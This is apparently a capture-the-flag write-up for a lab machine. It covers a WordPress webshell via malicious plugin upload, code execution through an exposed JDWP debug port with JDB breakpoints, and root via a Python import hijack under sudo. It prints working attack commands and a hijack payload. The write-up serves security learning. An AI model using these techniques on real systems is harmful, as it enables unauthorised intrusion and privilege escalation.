Overview
Three services: FTP (anonymous, leaks username), LimeSurvey on 80, WordPress 5.4.2 on 443. WordPress admin access via WPS Hide Login custom URL, malicious plugin upload for webshell. Ghidra runs in debug mode with JDWP on localhost:18001 — forwarded externally via Python socket relay, then JDB breakpoint on Log4j WatchManager$WatchRunnable.run() fires every ~30s to execute as veronica. Root via Python import hijacking with sudo python3.5.
Reconnaissance
| Port | Service | Notes |
|---|---|---|
| 21/tcp | vsFTPd 3.0.3 | Anonymous login — lists files but can't download (root-owned). Leaks /home/lucrecia/ftp/ |
| 80/tcp | Apache 2.4.18 | LimeSurvey 3.15.9 |
| 443/tcp | Apache 2.4.18 | WordPress 5.4.2 — actual attack surface |
Foothold — WordPress Webshell
WPS Hide Login Bypass
WordPress uses WPS Hide Login. Custom login URL discovered in post content: /?devtools on port 443.
Plugin Upload
Credentials Anny:P4$W0RD!!#S3CUr3!. Logged in, uploaded malicious plugin ZIP containing PHP webshell, activated it.
# Webshell at:
https://TARGET/wp-content/plugins/shell_plugin/shell_plugin.php?cmd=id
# uid=33(www-data)
Lateral Movement — JDWP
Discovering JDWP
ss -tlnp # 127.0.0.1:18001 (JDWP)
ps aux # Ghidra with -Xrunjdwp:...address=127.0.0.1:18001
Port Forwarding
Python one-liner socket forwarder via webshell — binds 0.0.0.0:18003, relays to 127.0.0.1:18001.
JDB Breakpoint Exploitation
JDWP Gotcha
ClassType.InvokeMethod with VM.Suspend returns INVALID_THREAD(10) for all threads — threads suspended at native code can't execute Java. Must use a real breakpoint event instead.
# JDB commands
stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run
resume
# Wait ~30s for: "Breakpoint hit: Log4j2-TF-4-Scheduled-1"
print new java.lang.Runtime().exec("/tmp/get_user.sh")
Executes as veronica (Ghidra's process owner)
Privilege Escalation — Python Import Hijack
sudo -l # (root) NOPASSWD: /usr/bin/python3.5 /home/veronica/base.py
cat /home/veronica/base.py # imports base64
base.py is root-owned (rw-r--r--) but veronica can write to /home/veronica/. Python adds the script's directory as sys.path[0], so a fake base64.py there gets imported first.
# Via JDB (as veronica)
cat > /home/veronica/base64.py << 'EOF'
import os
os.system("cat /root/root.txt > /tmp/rootflag.txt; chmod 777 /tmp/rootflag.txt")
EOF
sudo /usr/bin/python3.5 /home/veronica/base.py
Lessons Learned
- JDWP on localhost isn't safe if any code can forward the port externally. JDB breakpoints allow arbitrary Java execution.
- Python import hijacking via sudo:
sys.path[0]is the script's directory. If writable, any imported module can be replaced. - WPS Hide Login custom URLs can leak in post content or REST API responses.
- JDB quirks:
Runtime.exec(String)works butnew String[]{}array literals don't parse in JDB expressions.
Tools Used
| Tool | Purpose |
|---|---|
| curl | WP login, plugin upload, webshell |
| jdb | JDWP breakpoint exploitation |
| Python socket forwarder | Port relay (18003→18001) |
| exploit.sh | Full automation |